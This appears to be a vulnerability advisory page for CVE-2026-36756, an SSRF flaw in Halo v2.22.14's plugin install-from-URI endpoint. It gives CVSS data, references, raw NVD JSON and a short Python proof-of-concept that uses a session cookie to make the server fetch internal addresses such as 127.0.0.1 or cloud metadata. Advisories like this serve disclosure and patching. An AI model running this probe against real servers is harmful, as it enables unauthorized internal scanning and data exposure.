CVE-2026-36756

Description

A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Halo v2.22.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-halo-instance/plugins/-/install-from-uri"

# Internal resource to scan (e.g., local admin panel or cloud metadata)
internal_resource = "http://127.0.0.1:8080"

# Attacker's credentials (Authentication required)
cookies = {
    "SESSION": "your_stolen_or_valid_session_cookie_here"
}

# Payload parameters
params = {
    "uri": internal_resource
}

try:
    # Send malicious GET request to trigger SSRF
    print(f"[*] Attempting to scan internal resource: {internal_resource}")
    response = requests.get(target_url, params=params, cookies=cookies, timeout=10)

    # Check response based on status code
    if response.status_code == 200:
        print("[+] SSRF successful. Response received:")
        print(response.text[:500]) # Print first 500 chars of response
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36756
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36756
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36756/
[4] VulDB https://vuldb.com/cve/CVE-2026-36756
[5] https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf2/readme.md
[6] https://github.com/halo-dev/halo
[7] https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf2/readme.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36756", "sourceIdentifier": "[email protected]", "published": "2026-04-30T16:16:42.280", "lastModified": "2026-04-30T18:16:28.307", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf2/readme.md", "source": "[email protected]"}, {"url": "https://github.com/halo-dev/halo", "source": "[email protected]"}, {"url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf2/readme.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}